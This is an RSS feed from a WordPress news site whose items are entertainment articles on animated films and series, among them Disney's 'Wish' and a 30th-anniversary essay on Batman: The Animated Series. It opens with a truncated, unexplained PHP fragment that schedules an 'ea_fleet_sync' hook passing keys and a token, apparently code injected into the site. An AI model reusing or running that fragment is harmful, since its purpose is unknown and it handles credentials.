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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Animated – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 10 Sep 2022 12:54:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Animated – Brief News https://briefnews.eu 32 32 Disney Announces Wish, New Animated Feature Film For The Company’s 100th Anniversary [D23] https://briefnews.eu/disney-announces-wish-new-animated-feature-film-for-the-companys-100th-anniversary-d23/ https://briefnews.eu/disney-announces-wish-new-animated-feature-film-for-the-companys-100th-anniversary-d23/#respond Sat, 10 Sep 2022 12:54:52 +0000 https://briefnews.eu/disney-announces-wish-new-animated-feature-film-for-the-companys-100th-anniversary-d23/

Of all the catchy songs from Disney’s movies, the one that is most linked to the company is probably “When You Wish Upon A Star” from “Pinocchio.” Walking down Main Street at Magic Kingdom or Disneyland? You’ll hear it pumped through the loudspeakers. If you listen to any compilation of their songs, it’ll be right on top of the playlist. Heck, it’s the song that plays during the Walt Disney logo!

That song in particular seems to sum up all the hopeful nostalgia that the House of Mouse traffics in. So when they announced a surprise original movie at the end of tonight’s Disney Studios panel at D23, of course, it had to be about wishing upon a star.

The film is called “Wish,” and will be directed by Chris Buck (“Frozen”) and Fawn Veerasunthorn, a Disney animation vet who worked on “Zootopia,” “Raya and the Dragon,” and “Moana,” to name a few titles. From the sounds of things, it will be about the first folks to gaze up at the stars and make a wish, unlocking a world of magic.

Our own Ethan Anderton was in the room and reports back to /Film HQ that the footage they’re showing is 3D animation, but with a painterly watercolor aesthetic. Central to the footage is the Kingdom of Rosas, or the Kingdom of Wishes, and the lead character is a promising young woman named Asha, described as possessing a sharp wit and deep care for her community. Asha is voiced by “West Side Story” stand-out and Oscar winner Ariana DeBose. 

She is faced with what the filmmakers described as one of Disney’s most formidable foes.

Some Test Footage And A Song

Asha is the one who wishes upon a star, and low and behold, a star actually comes out of the sky to assist her on her mission. We’re talking a chubby little star with tiny arms and feet and a point on his head. Now, while Star is magical, there’s a limit to what he can do. The bigger the wish, the harder the journey, and it seems like Asha is going to be making a pretty sizable wish.

Alan Tudyk (“Firefly,” “Rogue One”) is in the movie, playing a pajama-wearing goat named Valentino. Tudyk was on hand to show some test footage of Star interacting with the goat. Star sprinkles some stardust on Valentino, who is surprised to hear himself talk. So surprised, actually, that he went stiff and fell over, as scared goats are prone to do, as you well know if you’ve scrolled through TikTok for more than three minutes.

“Wish” will be a musical (of course it will) and the songs are written by Grammy-winning songwriter Julia Michaels, who is known for penning hit songs for Dua Lipa, Pink, and many more. DeBose was on hand to sing one of these songs, called “More for Us,” which our man on the ground says is a belter very much in the classic Disney style.

“Wish” is slated to come out in 2023, which will the Disney’s 100th anniversary. Fitting that they’re capping off their first 100 years of magic with a movie called “Wish,” don’t you think?

Read this next: The Best Animated Film Of Each Decade

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Since he first started appearing in film serials in the 1940s, Batman fans have been blessed with many great movie and TV depictions of the Dark Knight, with recent blockbuster “The Batman” being but one example. As a hero without superpowers, Batman lends himself particularly well to pseudo-realistic interpretations of the Christopher Nolan kind. Villains like the Joker, Penguin, Catwoman, Two-Face, Riddler, Mr. Freeze, Poison Ivy, Ra’s al Ghul, Scarecrow, Bane, Harley Quinn, and Killer Croc have all made the transition from comic books to live-action films. But some of them have turned out better than others, and Batman has an even deeper bench of colorful foes who have thrived best onscreen in animated form.

When “Batman: The Animated Series” premiered on Fox on September 5, 1992, kids were just getting back to school after the summer of “Batman Returns.” For many, Danny Elfman’s theme music and the show’s one-minute opening sequence — where police blimps shine their spotlights down on a “Dark Deco” Gotham City and Batman tussles with criminals on the rooftop — became a fixture of weekday afternoons. While its time slot may have targeted kids, however, “Batman: The Animated Series” brought mature, downright sophisticated craftsmanship and characterization to its storytelling, ensuring its place in the TV hall of fame as one of the greatest shows of all time.

Batman’s Case Files

The artwork of producers Eric Radomski and Bruce Timm helped furnish the visual aesthetic and character designs for “Batman: The Animated Series.” Together with Matt Reeves and J.J. Abrams, Timm is now producing the spiritual follow-up “Batman: Caped Crusader,” which was affected by the recent corporate shakeup at Warner Bros. and is currently looking for a home outside HBO Max.

Diving back into “Batman: The Animated Series” is like opening case files on a computer in the Batcave. The show holds a timeless quality, and the episodic nature of it ensures you can watch it at random, just as it was syndicated.

If Michael Keaton is the best Batman and Christian Bale is the best Bruce Wayne, then Juilliard-trained voice actor Kevin Conroy splits the difference, giving perfect balance to the square-jawed hero’s dual identities. Until “The Batman,” we had yet to see the World’s Greatest Detective doing much actual detective work in the movies (and he still couldn’t deduce that a bat is a rat with wings). Yet it’s a common staple of his animated adventures, with Batman searching microfiche, interrogating goons and mob bosses, and having important breakthroughs in his efforts to solve cases.

Conroy nails the lower register of Batman’s growl without overdoing it like Bale, and when he adjusts his pitch, his voice conveys a lightness of being for Bruce without reducing the billionaire playboy to a vapid daytime disguise. Episodes like “Appointment in Crime Alley” and “Perchance to Dream,” which rank among the show’s best, get to the heart of Batman’s resilience amid personal loss. But maybe the best way to revisit his animated adventures on their 30th anniversary is to crack open some of those case files on his villains.

The King Of All Clown Princes

Long before “Spider-Man: No Way Home” put forth the idea of a superhero “curing” his villains, “Batman: The Animated Series” was there to build realistic psychological profiles for a compassionate hero who works through his childhood trauma constructively (through crimefighting) while other flamboyant personalities beside him break bad. In the Caped Crusader’s first-rate rogues’ gallery, some are tragic villains, failed by therapy or warped by an unhealthy relationship with pharmaceuticals. Others are incurable — and for Mark Hamill’s Joker, who was born in a vat of chemicals (“Beware the Creeper”), laughter is the best medicine.

In a DVD featurette for “Batman: The Animated Series,” Hamill said he approached the Joker’s laugh “like a musical instrument” that would “illustrate his mood.” The character’s mercurial nature keeps him unpredictable, both frightening and funny. “The Laughing Fish” puts these qualities on display in an episode that adapts elements of more than one classic DC Comics tale, including Denny O’Neill and Neal Adams’ “The Joker’s Five-Way Revenge,” which inspired the flashlight visual of Joker smiling next to a shark. Taking a page from Jack Nicholson’s Joker and his Smylex gas, Hamill’s Clown Prince of Crime exposes his victims to a toxin that leaves their faces contorted in a rictus grin — just before Batman administers the kid-friendly antidote, naturally.

Where Batman is brooding, Hamill’s Joker is boisterous. He’s the homicidal yet happy medium between other cinematic Joker portrayals, marrying the best parts of them into the perfect character foil, who would surely have the last laugh in any Bat-villain tournament bracket. As Hamill put it, “Sherlock Holmes has his Professor Moriarty; Batman has his Joker.”

The (Un)usual Suspects

The Joker admittedly has been done, and done well, in live-action. The same goes for his 1966 “Batman” and “The Batman” compatriots, Penguin, Catwoman, and Riddler, respectively voiced by Paul Williams, Adrienne Barbeau, and John Glover in “The Animated Series.” Yet these versions hold their own and give each character extended play, not to mention a distinct musical feel courtesy of composer Shirley Walker’s leitmotifs. In “Joker’s Favor,” for instance, whoopee-cushion whistling accompanies the Clown Prince of Crime. The “Home Alone”-like “I’ve Got Batman in My Basement” has a soundtrack that musically waddles when the bird-minded Penguin makes his entrance. 

With Michelle Pfeiffer still fresh in the mind of 1992 viewers, Barbeau’s animal-loving, morally grey-costumed Catwoman had the distinction of kicking off “Batman: The Animated Series” with the first aired episode, “The Cat and the Claw, Part I.” She burgles from the rich and gives to the poor, and Anne Hathaway’s Seline Kyle in “The Dark Knight Rises” has a similar attitude toward Gotham’s wealthy elite. This wouldn’t be the last time “Batman: The Animated Series” influenced the movies.

Riddler comes in further down the line, but his debut, “If You’re So Smart, Why Aren’t You Rich?” reimagines him as a genius game designer exploited by a work-for-hire contract in a maze of cubicles. He sends Batman and Robin (Loren Lester) through one modeled after his game, “The Riddle of the Minotaur.” Riddler’s scheme to enact vengeance on his boss is echoed in Jim Carrey’s slapstick 1995 portrayal, while Paul Dano’s 2022 serial-killer version mirrors his tech-savvy side with “over 500” online followers.

These are the standard players, but the deeper you go, the more “Batman: The Animated Series” shows the untapped potential of the Dark Knight’s full line-up of antagonists.

Men Who Are Bats

One thing that immediately sets “Batman: The Animated Series” apart from other movie and TV treatments of Batman is the way it embraces the creature-feature corner of the mythos. In the first produced (and numbered) episode, “On Leather Wings,” the very first villain we meet is a monstrous inversion of our hero who undergoes a werewolf-like transformation to become a literal Man-Bat. “The beast knew what chemicals were needed to bring itself about,” says Man-Bat’s human alter ego, Dr. Kirk Langstrom (Marc Singer). With his face distorted behind beakers in his lab, Langstrom explains that he co-discovered a formula for a new species and started taking it—only to have it take over his life.

As Man-Bat, Langstrom flies high, robbing pharmaceutical factories, unable to suppress the monster within him or control his need for the formula. Since it’s ostensibly geared toward children, the show calls it a “formula” instead of a “drug,” but it’s not the last time we’ll hear that word or see a villain with an addiction that brings out his worst side. Meanwhile, the closest we’ve ever had to a live-action Man-Bat was a giant bat, designed by Rick Baker, in a deleted scene from “Batman Forever.”

Humans In Monster Form

There are ways to make a “Batman: The Animated Series” villain like Clayface work on film that wouldn’t require goopy CGI. You could have him be a master of disguise, peeling off “Mission: Impossible” masks, or even a techie in a digital environment, running deepfakes or posing as people via lifelike avatars. As it is, Clayface’s powers are well-served by the animation farmed out to Tokyo Movie Shinsha Co. in the two-parter “Feat of Clay.”

Unbound by physical realism, “Batman: The Animated Series” hews to a psychological realism whereby the monstrosity of each villain is merely an outer manifestation of their inner turmoil. Actor Matt Hagen (Ron Perlman, no stranger to playing comic book monsters), has a substance abuse problem. He’s hooked on Renuyu, an addictive cream described as a “facelift in a jar.” It’s something he uses to self-medicate after being disfigured in an accident, left with a “face like putty.”

Renuyu comes from pharmaceutical king Roland Daggett (Ed Asner), who keeps Hagen supplied with the experimental new product, which “can perform miracles even plastic surgery can’t.” When Daggett’s henchmen force an overdose on Hagen, the man of a million faces turns into a shape-shifting clay monster whose thoughts become transformations. Thinking himself functional and healthy(?), Clayface boasts, “I figured out how to manage this thing pretty good,” right before Batman confronts him with the video-monitor ghosts of his former acting self.

Even with Clayface running amok, “Batman: The Animated Series” finds time to explore the mentality of low-level enforcer Germs (Ed Begley Jr.), who turns doorknobs with a handkerchief and is afraid of setting foot in a hospital with sick people. Fleeing Batman, Germs runs into a room with “infectious disease specimens” and is soon living his worst nightmare.

Faces Of Tragedy

As good as “The Dark Knight” was, and as much as the narrative may have structured itself around Harvey Dent, Heath Ledger’s Joker stole the show there. While the film was in development in the 2000s, there was talk that Dent might not turn into Two-Face until a potential third Christopher Nolan movie. Aaron Eckhart’s character could have benefited from such treatment because, in his zeal to save nothing for the sequel, Nolan crammed Two-Face’s whole criminal career into the third act before killing him off.

“Batman: The Animated Series” gives Richard Moll’s Harvey Dent more room to breathe, both before and after he’s Two-Face. In “Pretty Poison,” his character development runs parallel to that of Pamela Isley, a.k.a. Poison Ivy (Diane Pershing), a PhD botanist with a “plants are people” fetish. She doesn’t take kindly to anyone bulldozing over endangered wild roses. Dent is smitten with Isley, but she poisons him with a kiss that sends him into a coma.

The “Two-Face” two-parter gives Dent a new fiancée named Grace and a tragic supervillain origin that would inform Jeph Loeb and Tim Sale’s “Batman: The Long Halloween.” He becomes one of the show’s most compelling characters, an ally-turned-enemy haunted by dreams of his dark side and incapable of keeping up the front of a squeaky-clean district attorney.

When Harvey puts his anger management issues on public display, crime boss Rupert Thorne (John Vernon) looks to dig up dirt on him, observing, “All men have something to hide. The brighter the picture, the darker the negative.” In secret, Harvey sees a psychiatrist, with the lightning offering a flash of what he will become when his Big Bad Harv personality takes over and he adopts a yin-yang suit and Tommy gun as Two-Face.

Not Just A Boy’s Club

Created by Paul Dini for “Batman: The Animated Series,” Harley Quinn (Arleen Sorkin) made her first media appearance in “Joker’s Favor,” which frames the Clown Prince of Crime through the eyes of a civilian who makes the mistake of telling off the wrong grinning driver in traffic. The vulnerable schlub perspective, picked up later by Brian Azzarello and Lee Bermejo’s “Joker” graphic novel, squeezes maximum menace out of the Joker while setting up his relationship with Harley.

Like Margot Robbie’s Harley, Sorkin’s version of the character is emancipated from that abusive, manipulative relationship in the girl-power episode, “Harley and Ivy,” the first of her many pairings with Poison Ivy. They, Catwoman, Batgirl (Melissa Gilbert), and other characters help keep the treehouse co-ed.

“Mad Love” explores Harley’s origin as Dr. Harleen Quinzel, a buttoned-up intern at Arkham Asylum with an “attraction to extreme personalities.” In their therapy sessions, the Joker unlocks her repressed fun-loving side. She falls in love with him, her Hannibal Lecter-esque patient, even as he lies about his backstory like Heath Ledger’s Joker (with his multiple-choice past straight out of Alan Moore and Brian Bolland’s “The Killing Joke”).

“Mad Love” was the final episode of “Batman: The Animated Series” to air under its “New Batman Adventures” redesign for The WB. It also has Joker threatening Commissioner Gordon (Bob Hastings) with dentistry by way of a power drill, and even winking at Hamill’s role as Luke Skywalker with a “Star Wars” pun. (“May the floss be with you.”)

What A Croc

Unlike Man-Bat and Clayface, Killer Croc grew up looking the way he does. He started out as a carnival sideshow attraction, then became a pro wrestler, before settling into a life of crime. Throughout the series, we also see him depicted as a sewer monster (“Vendetta”) who fraternizes with circus people (“Sideshow”) similar to Penguin in “Batman Returns.”

As an escaped convict, Croc finds acceptance at an idyllic freak farm, where a boy with flippers tells him he can be himself and not feel bad or have people stare at him. He shows signs of reform when he passes up the chance to steal $ 50,000, but then his past, personified by Batman, catches up with him. We soon see that, for Croc, being himself means being a petty crook, driven by emotions like greed and the desire for revenge against Batman, Harvey Bullock (Robert Costanzo), and anyone else who wronged him.

Adewale Akinnuoye-Agbaje, known for his role as Mr. Eko on “Lost,” did appear under makeup and a hoodie as a cannibalistic Killer Croc in “Suicide Squad.” He was a supporting character, though, and it feels like “Batman: The Animated Series” is the only place where Croc has received his full due.

In “Almost Got ‘Im,” the show even gives Croc a seat at the card table with other heavy hitters like Joker. They gather at the Stacked Deck Club, where the episode stacks story on top of flashback story, allowing each villain to recount the time they almost killed Batman. Croc has the best line — “I threw a rock at him!” — and even better, it turns out he isn’t the real Croc, but Batman in disguise.

From Lame To A-Game

Another standout “Batman: The Animated Series” episode is the Emmy-winning “Heart of Ice,” which rescued Mr. Freeze from the slums of the C-listers and made him a rich, sympathetic villain like Two-Face. Victor Fries (Michael Ansara) is a scientist left in a frigid emotional state after a cutthroat CEO nixes the life support for his cryogenically frozen wife. “Unforgiving ice” rules his actions, freezing people out (it’s a coping mechanism, and gives Batman the sniffles), until chicken soup for the soul defeats him.

This portrait of Mr. Freeze changed how he was depicted on celluloid and the comic book page. It’s just a shame the average moviegoer might associate the character more with Arnold Schwarzenegger’s punny performance in “Batman and Robin,” a flick even director Joel Schumacher apologized for.

The Mad Hatter (Roddy McDowall) is another villain “Batman: The Animated Series” legitimized, so much so that he topped our poll of the villains fans most want to see in live-action. In a show that spelunks the human psyche like a regular old Batcave, Hatter’s first episode, “Mad as a Hatter,” sees him turning people into mind-controlled puppets and pawns when he’s otherwise powerless to win their respect or manage his unrequited love for a co-worker named Alice.

The Ventriloquist (George Dzundza), first seen in “Read My Lips,” is a man with dissociative identity disorder whose dummy, Scarface, has such a forceful personality that you almost wonder if the doll isn’t truly possessed. Though just a one-off, “Fire from Olympus” also makes a meal out of Maxie Zeus (Steve Susskind), a delusional smuggler who nurtures a Greek god complex after a stress-triggered breakdown. He finds a home among the inmates of Arkham Asylum—where we all belong.

Clocking Out

There are so many stellar “Batman: The Animated Series” episodes, like the kangaroo-court villains bonanza “Trial” and the Adam West showcase “Beware of the Gray Ghost,” that to really do it justice, we’d need to do a full series rewatch and review. Even within this overview, however, a pattern emerges. Bruce Wayne puts it into words as he stands over his badly burned friend Harvey Dent in the hospital, saying, “I’m more worried about the mental scars.”

Harvey’s backstory as a kid who locked up his anger after lashing out as a bully is just one example of how the series took the mindset of its characters seriously, engaging kid viewers as mini-adults. In the same way the ever-changing Scarecrow (Henry Polic II) uses people’s fears against them, “Batman: The Animated Series” wields psychology as a storytelling weapon.

If we had all the time in the world, there’s a ton of other characters it would be worth talking about, such as Ra’s al Ghul (the late David Warner) and his life-prolonging Lazarus Pits (“The Demon’s Quest”). However, like the time-obsessed Clock King (Alan Rachins), we might risk missing our court date that way. Then, we’d probably — clock pun intended — wind up vowing revenge and tying the mayor to a clocktower’s hour hand, to be crushed to death unless Batman could save him.

Even obscure “Animated Series” villains like Clock King come with motives and an M.O. that have some basis in recognizable mental reality. “Batman: The Animated Series” puts a fantastical turn on human psychology, but by rooting itself in the truth of the mind above all else (even the laws of physics), it left us with the most definitive, all-encompassing take on the world of Batman that has ever graced the screen.

Read this next: Joker’s Wild: Ranking The Cinematic Versions Of The Clown Prince Of Crime

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]]> https://briefnews.eu/why-batman-the-animated-series-is-the-definitive-depiction-of-the-dark-knight-and-his-villains/feed/ 0 Superhero Bits: Batman: The Animated Series Turns 30, Moon Knight Won An Emmy & More https://briefnews.eu/superhero-bits-batman-the-animated-series-turns-30-moon-knight-won-an-emmy-more/ https://briefnews.eu/superhero-bits-batman-the-animated-series-turns-30-moon-knight-won-an-emmy-more/#respond Mon, 05 Sep 2022 22:37:23 +0000 https://briefnews.eu/superhero-bits-batman-the-animated-series-turns-30-moon-knight-won-an-emmy-more/

(Superhero Bits is a collection of stories, updates, and videos about anything and everything inspired by the comics of Marvel, DC, and more. For comic book movies, TV shows, merchandise, events, and whatever catches our eye, this is the place to find anything that falls through the cracks.)

In this edition of Superhero Bits:

  • Marvel won some Emmys.

  • A new “Teenage Mutant Ninja Turtles” video game is on the way.

  • John Diggle on that Green Lantern tease in the “Arrow” finale.

  • “Batman: The Animated Series” turns 30 today.

  • All that and more!

Will Stargirl Season 4 Happen? Brec Bassinger Weighs In

The fate of the Arrowverse is all but decided, what with “The Flash” coming to an end and The CW sold to a new owner. Be that as it may, “Stargirl” lead Brec Bassinger is hopeful that the show is going to get a fourth season, though nothing is set in stone right now. Speaking with Decider, the actress had this to say about it:

“Geoff, our showrunner, for lack of a better term, this is his baby and he’s put so much love, and I’ve heard season 4 pitches, and I know he’s not leaving any stone unturned to get it to continue. But I’m just so grateful. There has been so much fan push on Twitter and Instagram, and it has made me and Geoff and the whole cast and crew feel so loved, because we do work hard on it. So it feels good that they’re rooting for us.”

“Stargirl” is currenting airing its third season on The CW right now, with new episodes dropping Wednesdays.

Kid Flash Build-A-Figure From McFarlane Toys

The fine folks at McFarlane Toys have revealed a new Kid Flash figure that is set to be a part of the company’s Build-A figure wave, in partnership with DC. Unfortunately we don’t have much to go on right now, save for the above image reveal. But we should be getting more details on pricing and a release date soon, as well as retailer info. So those who are interested in picking one of these up would do well to stay tuned to the company’s social channels.

Moon Knight Won An Emmy

The Creative Arts Emmys took place over the weekend and the Marvel Cinematic Universe is officially picking up trophies for its work on the small screen now. To that end, “Moon Knight” took home the Emmy for Outstanding Sound Editing for a Limited or Anthology Series, Movie or Special. More than anything, this is a reminder that Marvel and Disney are billing the show as a limited series, meaning that anyone’s hopes of getting a second season grow slimmer by the day. But hey, that one season resulted in a fancy award to add to Marvel Studios’ trophy case.

It Looks Like A Big New Teenage Mutant Ninja Turtles Game Is Coming Our Way

As reported by the folks at The Gamer, the September issue of Toy World Magazine states that Nickelodeon and Paramount are set to release a “brand new triple-A” video game set within the “Teenage Mutant Ninja Turtles” franchise in 2023. The move would make sense given the release of the animated “TMNT” film “Mutant Mayhem” hitting theaters next summer. Plus, “Shredder’s Revenge” did quite well recently and the “Cowabunga Collection,” which collects a bunch of older games featuring the half-shell heroes, recently hit shelves. But this indicates we are getting something much more significant than a new side scroller. We’ll be sure to keep you posted as further details come our way.

She-Hulk Featurette Highlights The Show’s Many Big Cameos

“She-Hulk: Attorney at Law” has been quite unlike any other MCU project to date and is very much making use of the episodic storytelling allowed by its Disney+ release. As part of that, we’ve been treated to some big cameos serving as major surprises week-to-week. The above video goes over some of those cameos thus far, namely Megan Thee Stallion’s much-discussed appearance in episode 3. But many other cameos in the show’s future are also teased. We know Daredevil is coming, but who else might be on the docket? The show returns with a new episode this Thursday.

John Diggle’s Green Lantern Setup In Arrow Is Not Resolved Says David Ramsey

A gigantic theory for years in the Arrowverse was that David Ramsey’s John Diggle would be revealed as a Green Lantern. And, wouldn’t you know it, the “Arrow” finale kind of teed that up. Yet, nothing really ever came of it. Well, speaking at DragonCon (via The Direct), Ramsey addressed that situation in a very meandering way. The main takeaway? He says that thread has yet to be resolved.

“It’s not resolved. Eric [Wallace] called me, showrunner of ‘The Flash,’ and he had a pitch for me to end the saga, the Green Lantern Saga, within the Arrowverse. The reason why he did is because the Arrowverse was ending, right? It’s gonna end with Flash and all the other shows would go. We knew, not at the time, I knew but you didn’t know yet, that Todd [Helbing] was going to reveal in ‘Superman & Lois’ that the Superman & Lois-verse, if you will, exists on another planet, on a different Earth, and these characters are still alive. The idea is perhaps there’s a world where we can explore the Flash, or maybe just Barry Allen. Maybe he is Flash, maybe he isn’t. Is Oliver Queen alive? Maybe he is. Maybe the ring is still there.”

“The Flash” season 9 and “Superman & Lois” season 3 are pretty much going to wrap it up for the Arrowverse so it seems less and less likely we’ll ever pull on this thread again. But who knows?

Chadwick Boseman Won A Posthumous Emmy For His Role As T’Challa In What If…?

Just over a year after his untimely passing, Chadwick Boseman was awarded an Emmy for his final performance as T’Challa in the MCU. Specifically, the actor took home the prize for Outstanding Character Voice-Over Performance for his work in “What If… T’Challa Became a Star-Lord” from “What If…?” season 1. It was a well deserved award and serves as a reminder of what we lost with Boseman’s passing, though we are very fortunate to have the tremendous body of work he left behind.

Morena Baccarin Wants To Be In Deadpool 3, But She Has No Idea What’s Going On

We know that Disney is finally making “Deadpool 3” happen and it seems like things are coming together nicely on that front. But who is going to be joining Ryan Reynolds in the sequel? Morena Baccarin expressed her desire to return as Vanessa during an appearance at DragonCon (via The Direct). However, she has no idea if that’s going to actually happen or not.

“You know, from your lips to God’s ears, I have no idea [if Vanessa’s in Deadpool 3]. They’re writing the script right now. I’m usually the last to find out anything. I’m not even … I wish I had information I could give you but I really don’t. But it’d be great.”

Now, let’s be honest, even if Baccarin did know something, it’s not as though she would be able to say so. Still, it does sound like she’s being genuine and the opposite of cagey here.

Happy 30th Birthday, Batman: The Animated Series!

Lastly, today is a landmark day in superhero history as “Batman: The Animated Series,” arguably the greatest adaptation of the Dark Knight in any medium outside of the pages of DC Comics, is celebrating its 30th anniversary. indeed, on this day in 1992, the first episode of the beloved series debuted, introducing us to Kevin Conroy’s legendary Batman who, to this very day, remains the “one true Batman” for a great many fans. Those looking to celebrate can do so by streaming the series on HBO Max, if they so choose.

Read this next: Disturbing Comic Book Moments The MCU Will Never Show You

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Disney Channel is cordially inviting Descendants fans to the wedding of the century this summer.

The original stars of the musical franchise are reuniting for Descendants: The Royal Wedding, an animated special that takes viewers back to Auradon for the long-awaited nuptials of Mal (Dove Cameron) and Prince Ben (Mitchell Hope), who became engaged in 2019’s Descendants 3.

In addition to Cameron and Hope, the special also welcomes back Sofia Carson as Evie, Booboo Stewart as Jay, Mitchell Hope as Ben, Sarah Jeffery as Audrey, Melanie Paxson as Fairy Godmother, China Anne McClain as Uma, Jedidiah Goodacre as Chad, Anna Cathcart as Dizzy, Dan Payne as Beast, Bobby Moynihan as Dude the Dog and Cheyenne Jackson as Hades.

Disney Channel has also confirmed: “The absence of the character Carlos, played by the late Cameron Boyce, will be acknowledged in the storyline and Boyce’s memory will be honored in the telecast.” Boyce, 20, died in July 2019, just one month before the final movie premiered.

The first Descendants movie — which introduced the children of classic Disney villains like Maleficent, Jafar, Cruella de Vil and the Evil Queen — premiered in 2015, kicking off a franchise that would grow to include two more movies, an animated spinoff and a series of books, among other media.

And it sounds like there could be more on the way. Gary Marsh, president and chief creative officer of Disney Branded Television, said in a statement, “Descendants introduced a fantasy world of stories and characters, anchored in Disney mythology. … It had the benefit of immensely talented stars, who we now welcome back for this animated Royal Wedding special that will bridge the audience to what we hope will be a new chapter of compelling Descendants stories and characters yet to come.”

Watch the first teaser for Descendants: The Royal Wedding below, then drop a comment with your thoughts.

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Yet another Game of Thrones iteration reportedly is in development, this time at HBO Max.

The streaming service is in the very early stages of development on an animated drama that would cater to an adult audience and would have the same feel as the original series, per The Hollywood Reporter.

If the project comes to fruition, it would join several other Thrones-related offshoots in various stages of development. A prequel titled House of the Dragon was ordered to series at HBO in late 2019 and will follow Daenerys’ (and Jon’s) ancestors in House Targaryen as the storied family begins its legendary fall. The series was co-created by Thrones author George R.R. Martin and Ryan J. Condal (Colony), and it stars Matt Smith (Doctor Who), Paddy Considine (The Outsider) and Olivia Cooke (Bates Motel). Thrones director Miguel Sapochnik and Condal will serve as co-showrunners.

In addition, the premium cable network also reportedly is developing a series based on Martin’s Dunk and Egg novellas, which chronicle the adventures of Dunk (aka Ser Duncan the Tall) and Egg (Aegon V Targaryen).

Reps for HBO Max declined to comment for this story.

The thought of an animated Thrones series aimed at adults made us wonder: Would you want to watch such a spinoff? So weigh in via the poll below, then hit the comments with your thoughts about the potential venture!

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Disney+ on Monday ordered itself a “Bad Batch” of clones to add to its Star Wars hub.

Eyed for a 2021 launch, Star Wars: The Bad Batch follows the titular elite and experimental clones (first introduced in Star Wars: The Clone Wars) as they find their way in a rapidly changing galaxy in the immediate aftermath of the Clone War. Members of Bad Batch – a unique squad of clones who vary genetically from their brothers in the Clone Army — each possess a singular exceptional skill which makes them extraordinarily effective soldiers and a formidable crew. In the post-Clone War era, they will take on daring mercenary missions as they struggle to stay afloat and find new purpose.

“While the Clone Wars may have come to its conclusion, our partnership with the groundbreaking storytellers and artists at Lucasfilm Animation is only beginning,” Disney+ content SVP Agnes Chu said in a statement. “We are thrilled to bring Dave Filoni’s vision to life through the next adventures of the Bad Batch.”

Star Wars: The Bad Batch will be executive-produced by Filoni (of The Mandalorian and Star Wars: The Clone Wars), Athena Portillo (Clone Wars, Star Wars Rebels), Brad Rau (Rebels, Star Wars Resistance) and Jennifer Corbett (Resistance), with Carrie Beck (The Mandalorian, Rebels) as co-executive producer and Josh Rimes (Resistance) as producer.

Rau will also serve as supervising director, with Corbett as the new series’ head writer.

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]]> https://briefnews.eu/star-wars-the-bad-batch-animated-series-about-clones-headed-to-disney/feed/ 0 Gary Janetti’s Animated Prince George Comedy (With Meghan Markle and All!) Gets HBO Max Series Order https://briefnews.eu/gary-janettis-animated-prince-george-comedy-with-meghan-markle-and-all-gets-hbo-max-series-order/ https://briefnews.eu/gary-janettis-animated-prince-george-comedy-with-meghan-markle-and-all-gets-hbo-max-series-order/#respond Tue, 21 Jan 2020 19:34:54 +0000 http://briefnews.eu/gary-janettis-animated-prince-george-comedy-with-meghan-markle-and-all-gets-hbo-max-series-order/ Well, this should be royally fun. HBO Max has given a series order to The Prince, an animated comedy series created by Gary Janetti (Family Guy), whose Instagram account hilariously satires British Royals through the eyes of a young Prince George, the eldest child of Prince William and Princess Kate.

Janetti will voice the titular lad, while the rest of the cast includes George Orlando Bloom (Carnival Row) as Prince Harry, Condola Rashad (Billions) as Meghan Markle, Lucy Punch (A Series of Unfortunate Events) as Kate Middleton, Tom Hollander (American Dad!) as both Prince Philip and Prince Charles, Alan Cumming (The Good Wife) as George’s butler, Frances De La Tour (Outlander) as Queen Elizabeth, and Iwan Rheon (Game of Thrones) as Prince William.

“I’m thrilled to be working at HBO Max and bringing them yet another series about a family ruthlessly fighting for the throne,” Janetti said in a statement.

Per the royal logline for The Prince, “Before George rules Britannia, he’ll be laying down his own laws in Janetti’s comedic take on the future King of England’s childhood as seen from the prince’s own point of view. Because his succession isn’t coming any time soon, in each episode George will find his path in life as a young prince in modern times — from the 775 rooms of Buckingham Palace to his family’s sea of corgis to primary school with commoners.

“The Prince also features notable characters in George’s life such as his parents the Duke and Duchess of Cambridge, his fourth-in-line-for-the-throne little sister Charlotte, his modern Aunt Meghan and Uncle Harry, his great-granddad Philip, and — who can forget — “his Gan Gan Elizabeth.”

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Are you excited to see Janetti’s princely spoofs come to animated life?

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When in the world can we see Netflix’s Carmen Sandiego? It turns out, next month. The animated series, whose existence was dropped on us much like the titular criminal drops in and out of countries, has set its premiere date for January 2019. And along with the newly announced premiere date, Netflix has debuted some key art and stills from the animated series starring Gina Rodriguez.

Netflix announced that Carmen Sandiego will premiere on the streaming service on January 18, 2019. The 20-episode season will be split between Carmen’s present-day heists and her mysterious past that led to her becoming the world’s most renowned thief.

Netflix announced the date in a tweet with some key art from the series featuring the elusive thief herself, voiced by Jane the Virgin and Annihilation star Gina Rodriguez. Stranger Things’ Finn Wolfhard also stars as Player, Carmen’s chief accomplice and friend.

But that’s not all we’re getting from Carmen Sandiego. Entertainment Weekly debuted the first teaser images from the Netflix animated series, previewing the show’s flat but graphically appealing animation style. The strong lines and vibrant colors suggest that this show will be on the kid-friendly side, despite centering around, you know, a criminal. But hey, the original animated series and game show were educational tools to teach kids about geography. Carmen looks suitably cool in these images, rocking her signature red trenchcoat and hat — and showing her eyes for the first time!



Produced by Houghton Mifflin Harcourt, Carmen Sandiego is an animated series based on the character that debuted in a 1980s educational computer game franchise Where in the World Is Carmen Sandiego? But viewers probably best know the character from the Greg Lee-hosted game show that aired on PBS from 1991 through 1995 or from the iconic animated series that ran from 1994 to 1999 on Fox Kids.

Carmen Sandiego debuts on January 18, 2019 on Netflix.

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]]> https://briefnews.eu/netflixs-carmen-sandiego-animated-series-gets-a-january-2019-premiere-date-and-teaser-images/feed/ 0 Animated ‘LEGO Star Wars: All Stars’ Series Trailer Builds Across Every Era of ‘Star Wars’ https://briefnews.eu/animated-lego-star-wars-all-stars-series-trailer-builds-across-every-era-of-star-wars/ https://briefnews.eu/animated-lego-star-wars-all-stars-series-trailer-builds-across-every-era-of-star-wars/#respond Sun, 28 Oct 2018 19:40:58 +0000 http://briefnews.eu/animated-lego-star-wars-all-stars-series-trailer-builds-across-every-era-of-star-wars/ LEGO Star Wars All-Stars Trailer

